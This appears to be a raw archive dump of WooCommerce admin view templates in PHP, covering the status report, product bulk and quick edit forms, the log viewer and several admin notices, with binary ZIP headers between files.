					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				}
				?>
			</td>
		</tr>
	</tbody>
</table>
<table class="wc_status_table widefat" cellspacing="0">
	<thead>
		<tr>
			<th colspan="3" data-export-label="Templates"><h2><?php esc_html_e( 'Templates', 'woocommerce' ); ?><?php echo wc_help_tip( esc_html__( 'This section shows any files that are overriding the default WooCommerce template pages.', 'woocommerce' ) ); ?></h2></th>
		</tr>
	</thead>
	<tbody>
		<?php if ( $theme['has_woocommerce_file'] ) : ?>
		<tr>
			<td data-export-label="Archive Template"><?php esc_html_e( 'Archive template', 'woocommerce' ); ?>:</td>
			<td class="help">&nbsp;</td>
			<td><?php esc_html_e( 'Your theme has a woocommerce.php file, you will not be able to override the woocommerce/archive-product.php custom template since woocommerce.php has priority over archive-product.php. This is intended to prevent display issues.', 'woocommerce' ); ?></td>
		</tr>
		<?php endif ?>
		<?php if ( ! empty( $theme['overrides'] ) ) : ?>
			<tr>
				<td data-export-label="Overrides"><?php esc_html_e( 'Overrides', 'woocommerce' ); ?></td>
				<td class="help">&nbsp;</td>
				<td>
					<?php
					$total_overrides = count( $theme['overrides'] );
					for ( $i = 0; $i < $total_overrides; $i++ ) {
						$override = $theme['overrides'][ $i ];
						if ( $override['core_version'] && ( empty( $override['version'] ) || version_compare( $override['version'], $override['core_version'], '<' ) ) ) {
							$current_version = $override['version'] ? $override['version'] : '-';
							printf(
								/* Translators: %1$s: Template name, %2$s: Template version, %3$s: Core version. */
								esc_html__( '%1$s version %2$s is out of date. The core version is %3$s', 'woocommerce' ),
								'<code>' . esc_html( $override['file'] ) . '</code>',
								'<strong style="color:red">' . esc_html( $current_version ) . '</strong>',
								esc_html( $override['core_version'] )
							);
						} else {
							echo esc_html( $override['file'] );
						}
						if ( ( count( $theme['overrides'] ) - 1 ) !== $i ) {
							echo ', ';
						}
						echo '<br />';
					}
					?>
				</td>
			</tr>
		<?php else : ?>
			<tr>
				<td data-export-label="Overrides"><?php esc_html_e( 'Overrides', 'woocommerce' ); ?>:</td>
				<td class="help">&nbsp;</td>
				<td>&ndash;</td>
			</tr>
		<?php endif; ?>

		<?php if ( true === $theme['has_outdated_templates'] ) : ?>
			<tr>
				<td data-export-label="Outdated Templates"><?php esc_html_e( 'Outdated templates', 'woocommerce' ); ?>:</td>
				<td class="help">&nbsp;</td>
				<td>
					<mark class="error">
						<span class="dashicons dashicons-warning"></span>
					</mark>
					<a href="https://docs.woocommerce.com/document/fix-outdated-templates-woocommerce/" target="_blank">
						<?php esc_html_e( 'Learn how to update', 'woocommerce' ); ?>
					</a>
				</td>
			</tr>
		<?php endif; ?>
	</tbody>
</table>

<?php do_action( 'woocommerce_system_status_report' ); ?>

<table class="wc_status_table widefat" cellspacing="0">
	<thead>
	<tr>
		<th colspan="3" data-export-label="Status report information"><h2><?php esc_html_e( 'Status report information', 'woocommerce' ); ?><?php echo wc_help_tip( esc_html__( 'This section shows information about this status report.', 'woocommerce' ) ); ?></h2></th>
	</tr>
	</thead>
	<tbody>
	<tr>
		<td data-export-label="Generated at"><?php esc_html_e( 'Generated at', 'woocommerce' ); ?>:</td>
		<td class="help">&nbsp;</td>
		<td><?php echo esc_html( current_time( 'Y-m-d H:i:s P' ) ); ?></td>

	</tr>
	</tbody>
</table>
PK�3\��� �,�, views/html-bulk-edit-product.phpnu�[���<?php
/**
 * Admin View: Bulk Edit Products
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

?>

<fieldset class="inline-edit-col-right">
	<div id="woocommerce-fields-bulk" class="inline-edit-col">

		<h4><?php _e( 'Product data', 'woocommerce' ); ?></h4>

		<?php do_action( 'woocommerce_product_bulk_edit_start' ); ?>

		<div class="inline-edit-group">
			<label class="alignleft">
				<span class="title"><?php _e( 'Price', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="change_regular_price change_to" name="change_regular_price">
						<?php
						$options = array(
							''  => __( '— No change —', 'woocommerce' ),
							'1' => __( 'Change to:', 'woocommerce' ),
							'2' => __( 'Increase existing price by (fixed amount or %):', 'woocommerce' ),
							'3' => __( 'Decrease existing price by (fixed amount or %):', 'woocommerce' ),
						);
						foreach ( $options as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>
			<label class="change-input">
				<input type="text" name="_regular_price" class="text regular_price" placeholder="<?php printf( esc_attr__( 'Enter price (%s)', 'woocommerce' ), get_woocommerce_currency_symbol() ); ?>" value="" />
			</label>
		</div>

		<div class="inline-edit-group">
			<label class="alignleft">
				<span class="title"><?php _e( 'Sale', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="change_sale_price change_to" name="change_sale_price">
						<?php
						$options = array(
							''  => __( '— No change —', 'woocommerce' ),
							'1' => __( 'Change to:', 'woocommerce' ),
							'2' => __( 'Increase existing sale price by (fixed amount or %):', 'woocommerce' ),
							'3' => __( 'Decrease existing sale price by (fixed amount or %):', 'woocommerce' ),
							'4' => __( 'Set to regular price decreased by (fixed amount or %):', 'woocommerce' ),
						);
						foreach ( $options as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>
			<label class="change-input">
				<input type="text" name="_sale_price" class="text sale_price" placeholder="<?php printf( esc_attr__( 'Enter sale price (%s)', 'woocommerce' ), get_woocommerce_currency_symbol() ); ?>" value="" />
			</label>
		</div>

		<?php if ( wc_tax_enabled() ) : ?>
			<label>
				<span class="title"><?php _e( 'Tax status', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="tax_status" name="_tax_status">
						<?php
						$options = array(
							''         => __( '— No change —', 'woocommerce' ),
							'taxable'  => __( 'Taxable', 'woocommerce' ),
							'shipping' => __( 'Shipping only', 'woocommerce' ),
							'none'     => _x( 'None', 'Tax status', 'woocommerce' ),
						);
						foreach ( $options as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>

			<label>
				<span class="title"><?php _e( 'Tax class', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="tax_class" name="_tax_class">
						<?php
						$options = array(
							''         => __( '— No change —', 'woocommerce' ),
							'standard' => __( 'Standard', 'woocommerce' ),
						);

						$tax_classes = WC_Tax::get_tax_classes();

						if ( ! empty( $tax_classes ) ) {
							foreach ( $tax_classes as $class ) {
								$options[ sanitize_title( $class ) ] = esc_html( $class );
							}
						}

						foreach ( $options as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>
		<?php endif; ?>

		<?php if ( wc_product_weight_enabled() ) : ?>
			<div class="inline-edit-group">
				<label class="alignleft">
					<span class="title"><?php _e( 'Weight', 'woocommerce' ); ?></span>
					<span class="input-text-wrap">
						<select class="change_weight change_to" name="change_weight">
							<?php
								$options = array(
									''  => __( '— No change —', 'woocommerce' ),
									'1' => __( 'Change to:', 'woocommerce' ),
								);
							foreach ( $options as $key => $value ) {
								echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
							}
							?>
						</select>
					</span>
				</label>
				<label class="change-input">
					<input type="text" name="_weight" class="text weight" placeholder="<?php printf( esc_attr__( '%1$s (%2$s)', 'woocommerce' ), wc_format_localized_decimal( 0 ), get_option( 'woocommerce_weight_unit' ) ); ?>" value="">
				</label>
			</div>
		<?php endif; ?>

		<?php if ( wc_product_dimensions_enabled() ) : ?>
			<div class="inline-edit-group dimensions">
				<label class="alignleft">
					<span class="title"><?php _e( 'L/W/H', 'woocommerce' ); ?></span>
					<span class="input-text-wrap">
						<select class="change_dimensions change_to" name="change_dimensions">
							<?php
							$options = array(
								''  => __( '— No change —', 'woocommerce' ),
								'1' => __( 'Change to:', 'woocommerce' ),
							);
							foreach ( $options as $key => $value ) {
								echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
							}
							?>
						</select>
					</span>
				</label>
				<label class="change-input">
					<input type="text" name="_length" class="text length" placeholder="<?php printf( esc_attr__( 'Length (%s)', 'woocommerce' ), get_option( 'woocommerce_dimension_unit' ) ); ?>" value="">
					<input type="text" name="_width" class="text width" placeholder="<?php printf( esc_attr__( 'Width (%s)', 'woocommerce' ), get_option( 'woocommerce_dimension_unit' ) ); ?>" value="">
					<input type="text" name="_height" class="text height" placeholder="<?php printf( esc_attr__( 'Height (%s)', 'woocommerce' ), get_option( 'woocommerce_dimension_unit' ) ); ?>" value="">
				</label>
			</div>
		<?php endif; ?>

		<label>
			<span class="title"><?php _e( 'Shipping class', 'woocommerce' ); ?></span>
			<span class="input-text-wrap">
				<select class="shipping_class" name="_shipping_class">
					<option value=""><?php _e( '— No change —', 'woocommerce' ); ?></option>
					<option value="_no_shipping_class"><?php _e( 'No shipping class', 'woocommerce' ); ?></option>
					<?php
					foreach ( $shipping_class as $key => $value ) {
						echo '<option value="' . esc_attr( $value->slug ) . '">' . esc_html( $value->name ) . '</option>';
					}
					?>
				</select>
			</span>
		</label>

		<label>
			<span class="title"><?php _e( 'Visibility', 'woocommerce' ); ?></span>
			<span class="input-text-wrap">
				<select class="visibility" name="_visibility">
					<?php
					$options = array(
						''        => __( '— No change —', 'woocommerce' ),
						'visible' => __( 'Catalog &amp; search', 'woocommerce' ),
						'catalog' => __( 'Catalog', 'woocommerce' ),
						'search'  => __( 'Search', 'woocommerce' ),
						'hidden'  => __( 'Hidden', 'woocommerce' ),
					);
					foreach ( $options as $key => $value ) {
						echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
					}
					?>
				</select>
			</span>
		</label>
		<label>
			<span class="title"><?php _e( 'Featured', 'woocommerce' ); ?></span>
			<span class="input-text-wrap">
				<select class="featured" name="_featured">
					<?php
					$options = array(
						''    => __( '— No change —', 'woocommerce' ),
						'yes' => __( 'Yes', 'woocommerce' ),
						'no'  => __( 'No', 'woocommerce' ),
					);
					foreach ( $options as $key => $value ) {
						echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
					}
					?>
				</select>
			</span>
		</label>

		<label>
			<span class="title"><?php _e( 'In stock?', 'woocommerce' ); ?></span>
			<span class="input-text-wrap">
				<select class="stock_status" name="_stock_status">
					<?php
					echo '<option value="">' . esc_html__( '— No Change —', 'woocommerce' ) . '</option>';

					foreach ( wc_get_product_stock_status_options() as $key => $value ) {
						echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
					}
					?>
				</select>
			</span>
		</label>
		<?php if ( 'yes' == get_option( 'woocommerce_manage_stock' ) ) : ?>

			<label>
				<span class="title"><?php _e( 'Manage stock?', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="manage_stock" name="_manage_stock">
						<?php
						$options = array(
							''    => __( '— No change —', 'woocommerce' ),
							'yes' => __( 'Yes', 'woocommerce' ),
							'no'  => __( 'No', 'woocommerce' ),
						);
						foreach ( $options as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>

			<div class="inline-edit-group">
				<label class="alignleft stock_qty_field">
					<span class="title"><?php _e( 'Stock qty', 'woocommerce' ); ?></span>
					<span class="input-text-wrap">
						<select class="change_stock change_to" name="change_stock">
							<?php
							$options = array(
								''  => __( '— No change —', 'woocommerce' ),
								'1' => __( 'Change to:', 'woocommerce' ),
								'2' => __( 'Increase existing stock by:', 'woocommerce' ),
								'3' => __( 'Decrease existing stock by:', 'woocommerce' ),
							);
							foreach ( $options as $key => $value ) {
								echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
							}
							?>
						</select>
					</span>
				</label>
				<label class="change-input">
					<input type="text" name="_stock" class="text stock" placeholder="<?php esc_attr_e( 'Stock qty', 'woocommerce' ); ?>" step="any" value="">
				</label>
			</div>

			<label>
				<span class="title"><?php _e( 'Backorders?', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="backorders" name="_backorders">
						<?php
						echo '<option value="">' . esc_html__( '— No Change —', 'woocommerce' ) . '</option>';

						foreach ( wc_get_product_backorder_options() as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>

		<?php endif; ?>

		<label>
			<span class="title"><?php esc_html_e( 'Sold individually?', 'woocommerce' ); ?></span>
			<span class="input-text-wrap">
				<select class="sold_individually" name="_sold_individually">
					<?php
					$options = array(
						''    => __( '— No change —', 'woocommerce' ),
						'yes' => __( 'Yes', 'woocommerce' ),
						'no'  => __( 'No', 'woocommerce' ),
					);
					foreach ( $options as $key => $value ) {
						echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
					}
					?>
				</select>
			</span>
		</label>

		<?php do_action( 'woocommerce_product_bulk_edit_end' ); ?>

		<input type="hidden" name="woocommerce_bulk_edit" value="1" />
		<input type="hidden" name="woocommerce_quick_edit_nonce" value="<?php echo wp_create_nonce( 'woocommerce_quick_edit_nonce' ); ?>" />
	</div>
</fieldset>
PK�3\9��..(views/html-admin-page-status-logs-db.phpnu�[���<?php
/**
 * Admin View: Page - Status Database Logs
 *
 * @package WooCommerce\Admin\Logs
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

?>
<form method="post" id="mainform" action="">
	<?php $log_table_list->search_box( __( 'Search logs', 'woocommerce' ), 'log' ); ?>
	<?php $log_table_list->display(); ?>

	<input type="hidden" name="page" value="wc-status" />
	<input type="hidden" name="tab" value="logs" />

	<?php submit_button( __( 'Flush all logs', 'woocommerce' ), 'delete', 'flush-logs' ); ?>
	<?php wp_nonce_field( 'woocommerce-status-logs' ); ?>
</form>
<?php
wc_enqueue_js(
	"jQuery( '#flush-logs' ).on( 'click', function() {
		if ( window.confirm('" . esc_js( __( 'Are you sure you want to clear all logs from the database?', 'woocommerce' ) ) . "') ) {
			return true;
		}
		return false;
	});"
);
PK�3\�:�h��,views/html-notice-redirect-only-download.phpnu�[���<?php
/**
 * Admin View: Notice - Redirect only download method is selected.
 *
 * @package WooCommerce\Admin\Notices
 */

defined( 'ABSPATH' ) || exit;

?>
<div class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'redirect_download_method' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php esc_html_e( 'Dismiss', 'woocommerce' ); ?></a>
	<p>
		<?php
		echo wp_kses_post(
			sprintf(
				/* translators: %s: Link to settings page. */
				__( 'Your store is configured to serve digital products using "Redirect only" method. This method is deprecated, <a href="%s">please switch to a different method instead.</a><br><em>If you use a remote server for downloadable files (such as Google Drive, Dropbox, Amazon S3), you may optionally wish to "allow using redirects as a last resort". Enabling that and/or selecting any of the other options will make this notice go away.</em>', 'woocommerce' ),
				add_query_arg(
					array(
						'page'    => 'wc-settings',
						'tab'     => 'products',
						'section' => 'downloadable',
					),
					admin_url( 'admin.php' )
				)
			)
		);
		?>
	</p>
</div>
PK�3\|�i���%views/html-notice-legacy-shipping.phpnu�[���<?php
/**
 * Admin View: Notice - Legacy Shipping.
 *
 * @package WooCommerce\Admin\Notices
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div id="message" class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'legacy_shipping' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>">
		<?php esc_html_e( 'Dismiss', 'woocommerce' ); ?>
	</a>

	<p class="main">
		<strong><?php esc_html_e( 'New:', 'woocommerce' ); ?> <?php esc_html_e( 'Shipping zones', 'woocommerce' ); ?></strong> &#8211; <?php esc_html_e( 'a group of regions that can be assigned different shipping methods and rates.', 'woocommerce' ); ?>
	</p>
	<p>
		<?php esc_html_e( 'Legacy shipping methods (flat rate, international flat rate, local pickup and delivery, and free shipping) are deprecated but will continue to work as normal for now. <b><em>They will be removed in future versions of WooCommerce</em></b>. We recommend disabling these and setting up new rates within shipping zones as soon as possible.', 'woocommerce' ); ?>
	</p>

	<p class="submit">
		<?php if ( empty( $_GET['page'] ) || empty( $_GET['tab'] ) || 'wc-settings' !== $_GET['page'] || 'shipping' !== $_GET['tab'] ) : ?>
			<a class="button-primary" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=shipping' ) ); ?>">
				<?php esc_html_e( 'Setup shipping zones', 'woocommerce' ); ?>
			</a>
		<?php endif; ?>
		<a class="button-secondary" href="https://docs.woocommerce.com/document/setting-up-shipping-zones/">
			<?php esc_html_e( 'Learn more about shipping zones', 'woocommerce' ); ?>
		</a>
	</p>
</div>
PK�3\$�����$views/html-notice-template-check.phpnu�[���<?php
/**
 * Admin View: Notice - Template Check
 *
 * @package WooCommerce\Views
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$theme = wp_get_theme();
?>
<div id="message" class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'template_files' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php esc_html_e( 'Dismiss', 'woocommerce' ); ?></a>

	<p>
		<?php /* translators: %s: theme name */ ?>
		<?php printf( __( '<strong>Your theme (%s) contains outdated copies of some WooCommerce template files.</strong> These files may need updating to ensure they are compatible with the current version of WooCommerce. Suggestions to fix this:', 'woocommerce' ), esc_html( $theme['Name'] ) ); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?>
		<ol>
			<li><?php esc_html_e( 'Update your theme to the latest version. If no update is available contact your theme author asking about compatibility with the current WooCommerce version.', 'woocommerce' ); ?></li>
			<li><?php esc_html_e( 'If you copied over a template file to change something, then you will need to copy the new version of the template and apply your changes again.', 'woocommerce' ); ?></li>
		</ol>
	</p>
	<p class="submit">
		<a class="button-primary" href="https://docs.woocommerce.com/document/template-structure/" target="_blank"><?php esc_html_e( 'Learn more about templates', 'woocommerce' ); ?></a>
		<a class="button-primary" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-status' ) ); ?>" target="_blank"><?php esc_html_e( 'View affected templates', 'woocommerce' ); ?></a>
	</p>
</div>
PK�3\���Tppviews/html-notice-update.phpnu�[���<?php
/**
 * Admin View: Notice - Update
 *
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$update_url = wp_nonce_url(
	add_query_arg( 'do_update_woocommerce', 'true', admin_url( 'admin.php?page=wc-settings' ) ),
	'wc_db_update',
	'wc_db_update_nonce'
);

?>
<div id="message" class="updated woocommerce-message wc-connect">
	<p>
		<strong><?php esc_html_e( 'WooCommerce database update required', 'woocommerce' ); ?></strong>
	</p>
	<p>
		<?php
			esc_html_e( 'WooCommerce has been updated! To keep things running smoothly, we have to update your database to the newest version.', 'woocommerce' );

			/* translators: 1: Link to docs 2: Close link. */
			printf( ' ' . esc_html__( 'The database update process runs in the background and may take a little while, so please be patient. Advanced users can alternatively update via %1$sWP CLI%2$s.', 'woocommerce' ), '<a href="https://github.com/woocommerce/woocommerce/wiki/Upgrading-the-database-using-WP-CLI">', '</a>' );
		?>
	</p>
	<p class="submit">
		<a href="<?php echo esc_url( $update_url ); ?>" class="wc-update-now button-primary">
			<?php esc_html_e( 'Update WooCommerce Database', 'woocommerce' ); ?>
		</a>
		<a href="https://docs.woocommerce.com/document/how-to-update-woocommerce/" class="button-secondary">
			<?php esc_html_e( 'Learn more about updates', 'woocommerce' ); ?>
		</a>
	</p>
</div>
PK�3\Y�48��views/html-notice-custom.phpnu�[���<?php
/**
 * Admin View: Custom Notices
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

?>
<div id="message" class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', $notice ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php _e( 'Dismiss', 'woocommerce' ); ?></a>
	<?php echo wp_kses_post( wpautop( $notice_html ) ); ?>
</div>
PK�3\~��ll!views/html-quick-edit-product.phpnu�[���<?php
/**
 * Admin View: Quick Edit Product
 *
 * @package WooCommerce\Admin\Notices
 */

defined( 'ABSPATH' ) || exit;
?>

<fieldset class="inline-edit-col-left">
	<div id="woocommerce-fields" class="inline-edit-col">

		<h4><?php esc_html_e( 'Product data', 'woocommerce' ); ?></h4>

		<?php do_action( 'woocommerce_product_quick_edit_start' ); ?>

		<?php if ( wc_product_sku_enabled() ) : ?>

			<label>
				<span class="title"><?php esc_html_e( 'SKU', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<input type="text" name="_sku" class="text sku" value="">
				</span>
			</label>
			<br class="clear" />

		<?php endif; ?>

		<div class="price_fields">
			<label>
				<span class="title"><?php esc_html_e( 'Price', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<input type="text" name="_regular_price" class="text wc_input_price regular_price" placeholder="<?php esc_attr_e( 'Regular price', 'woocommerce' ); ?>" value="">
				</span>
			</label>
			<br class="clear" />
			<label>
				<span class="title"><?php esc_html_e( 'Sale', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<input type="text" name="_sale_price" class="text wc_input_price sale_price" placeholder="<?php esc_attr_e( 'Sale price', 'woocommerce' ); ?>" value="">
				</span>
			</label>
			<br class="clear" />
		</div>

		<?php if ( wc_tax_enabled() ) : ?>
			<label class="alignleft">
				<span class="title"><?php esc_html_e( 'Tax status', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="tax_status" name="_tax_status">
						<?php
						$options = array(
							'taxable'  => __( 'Taxable', 'woocommerce' ),
							'shipping' => __( 'Shipping only', 'woocommerce' ),
							'none'     => _x( 'None', 'Tax status', 'woocommerce' ),
						);
						foreach ( $options as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>
			<br class="clear" />
			<label class="alignleft">
				<span class="title"><?php esc_html_e( 'Tax class', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="tax_class" name="_tax_class">
						<?php
						$options = array(
							'' => __( 'Standard', 'woocommerce' ),
						);

						$tax_classes = WC_Tax::get_tax_classes();

						if ( ! empty( $tax_classes ) ) {
							foreach ( $tax_classes as $class ) {
								$options[ sanitize_title( $class ) ] = esc_html( $class );
							}
						}

						foreach ( $options as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>
			<br class="clear" />
		<?php endif; ?>

		<?php if ( wc_product_weight_enabled() || wc_product_dimensions_enabled() ) : ?>
		<div class="dimension_fields">

			<?php if ( wc_product_weight_enabled() ) : ?>
				<label>
					<span class="title"><?php esc_html_e( 'Weight', 'woocommerce' ); ?></span>
					<span class="input-text-wrap">
						<input type="text" name="_weight" class="text weight" placeholder="<?php echo esc_attr( wc_format_localized_decimal( 0 ) ); ?>" value="">
					</span>
				</label>
				<br class="clear" />
			<?php endif; ?>

			<?php if ( wc_product_dimensions_enabled() ) : ?>
				<div class="inline-edit-group dimensions">
					<div>
						<span class="title"><?php esc_html_e( 'L/W/H', 'woocommerce' ); ?></span>
						<span class="input-text-wrap">
							<input type="text" name="_length" class="text wc_input_decimal length" placeholder="<?php esc_attr_e( 'Length', 'woocommerce' ); ?>" value="">
							<input type="text" name="_width" class="text wc_input_decimal width" placeholder="<?php esc_attr_e( 'Width', 'woocommerce' ); ?>" value="">
							<input type="text" name="_height" class="text wc_input_decimal height" placeholder="<?php esc_attr_e( 'Height', 'woocommerce' ); ?>" value="">
						</span>
					</div>
				</div>
			<?php endif; ?>

		</div>
		<?php endif; ?>

		<div class="inline-edit-group">
			<span class="title"><?php esc_html_e( 'Shipping class', 'woocommerce' ); ?></span>
			<span class="input-text-wrap">
				<select class="shipping_class" name="_shipping_class">
					<option value="_no_shipping_class"><?php esc_html_e( 'No shipping class', 'woocommerce' ); ?></option>
					<?php
					foreach ( $shipping_class as $key => $value ) {
						echo '<option value="' . esc_attr( $value->slug ) . '">' . esc_html( $value->name ) . '</option>';
					}
					?>
				</select>
			</span>
		</div>

		<div class="inline-edit-group">
			<label class="alignleft">
				<span class="title"><?php esc_html_e( 'Visibility', 'woocommerce' ); ?></span>
				<span class="input-text-wrap">
					<select class="visibility" name="_visibility">
						<?php
						$options = apply_filters(
							'woocommerce_product_visibility_options',
							array(
								'visible' => __( 'Catalog &amp; search', 'woocommerce' ),
								'catalog' => __( 'Catalog', 'woocommerce' ),
								'search'  => __( 'Search', 'woocommerce' ),
								'hidden'  => __( 'Hidden', 'woocommerce' ),
							)
						);
						foreach ( $options as $key => $value ) {
							echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
						}
						?>
					</select>
				</span>
			</label>
			<label class="alignleft featured">
				<input type="checkbox" name="_featured" value="1">
				<span class="checkbox-title"><?php esc_html_e( 'Featured', 'woocommerce' ); ?></span>
			</label>
		</div>

		<?php if ( get_option( 'woocommerce_manage_stock' ) === 'yes' ) : ?>
			<div class="inline-edit-group manage_stock_field">
				<label class="manage_stock">
					<input type="checkbox" name="_manage_stock" value="1">
					<span class="checkbox-title"><?php esc_html_e( 'Manage stock?', 'woocommerce' ); ?></span>
				</label>
			</div>
		<?php endif; ?>

		<label class="stock_status_field">
			<span class="title"><?php esc_html_e( 'In stock?', 'woocommerce' ); ?></span>
			<span class="input-text-wrap">
				<select class="stock_status" name="_stock_status">
					<?php
					echo '<option value="" id="stock_status_no_change">' . esc_html__( '— No Change —', 'woocommerce' ) . '</option>';
					foreach ( wc_get_product_stock_status_options() as $key => $value ) {
						echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
					}
					?>
				</select>
				<div class="wc-quick-edit-warning" style="display:none">
					<?php echo esc_html__( 'This will change the stock status of all variations.', 'woocommerce' ); ?></p>
				</div>
			</span>
		</label>

		<div class="stock_fields">
			<?php if ( get_option( 'woocommerce_manage_stock' ) === 'yes' ) : ?>
				<label class="stock_qty_field">
					<span class="title"><?php esc_html_e( 'Stock qty', 'woocommerce' ); ?></span>
					<span class="input-text-wrap">
						<input type="number" name="_stock" class="text stock" step="any" value="">
					</span>
				</label>
			<?php endif; ?>
		</div>

		<label class="alignleft backorder_field">
			<span class="title"><?php esc_html_e( 'Backorders?', 'woocommerce' ); ?></span>
			<span class="input-text-wrap">
				<select class="backorders" name="_backorders">
					<?php
					foreach ( wc_get_product_backorder_options() as $key => $value ) {
						echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>';
					}
					?>
				</select>
			</span>
		</label>

		<?php do_action( 'woocommerce_product_quick_edit_end' ); ?>

		<input type="hidden" name="woocommerce_quick_edit" value="1" />
		<input type="hidden" name="woocommerce_quick_edit_nonce" value="<?php echo esc_attr( wp_create_nonce( 'woocommerce_quick_edit_nonce' ) ); ?>" />
	</div>
</fieldset>
PK�3\Q����views/html-notice-install.phpnu�[���<?php
/**
 * Admin View: Notice - Install
 *
 * @deprecated 4.6.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

?>
<div id="message" class="updated woocommerce-message wc-connect">
	<p><?php _e( '<strong>Welcome to WooCommerce</strong> &#8211; You&lsquo;re almost ready to start selling :)', 'woocommerce' ); ?></p>
	<p class="submit"><a href="<?php echo esc_url( admin_url( 'admin.php?page=wc-setup' ) ); ?>" class="button-primary"><?php _e( 'Run the Setup Wizard', 'woocommerce' ); ?></a> <a class="button-secondary skip" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'install' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php _e( 'Skip setup', 'woocommerce' ); ?></a></p>
</div>
PK�3\��M:6views/html-notice-uploads-directory-is-unprotected.phpnu�[���<?php
/**
 * Admin View: Notice - Uploads directory is unprotected.
 *
 * @package WooCommerce\Admin\Notices
 * @since   4.2.0
 */

defined( 'ABSPATH' ) || exit;

$uploads = wp_get_upload_dir();

?>
<div id="message" class="error woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'uploads_directory_is_public' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php esc_html_e( 'Dismiss', 'woocommerce' ); ?></a>

	<p>
	<?php
		echo wp_kses_post(
			sprintf(
				/* translators: 1: uploads directory URL 2: documentation URL */
				__( 'Your store\'s uploads directory is <a href="%1$s">browsable via the web</a>. We strongly recommend <a href="%2$s">configuring your web server to prevent directory indexing</a>.', 'woocommerce' ),
				esc_url( $uploads['baseurl'] . '/woocommerce_uploads' ),
				'https://docs.woocommerce.com/document/digital-downloadable-product-handling/#protecting-your-uploads-directory'
			)
		);
		?>
	</p>
</div>
PK�3\�!�.%views/html-email-template-preview.phpnu�[���<?php
/**
 * Admin View: Email Template Preview
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

?>

<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed aliquet diam a facilisis eleifend. Cras ac justo felis. Mauris faucibus, orci eu blandit fermentum, lorem nibh sollicitudin mi, sit amet interdum metus urna ut lacus.</p>

<p><a class="link" href="#">Sed sit amet sapien odio</a></p>

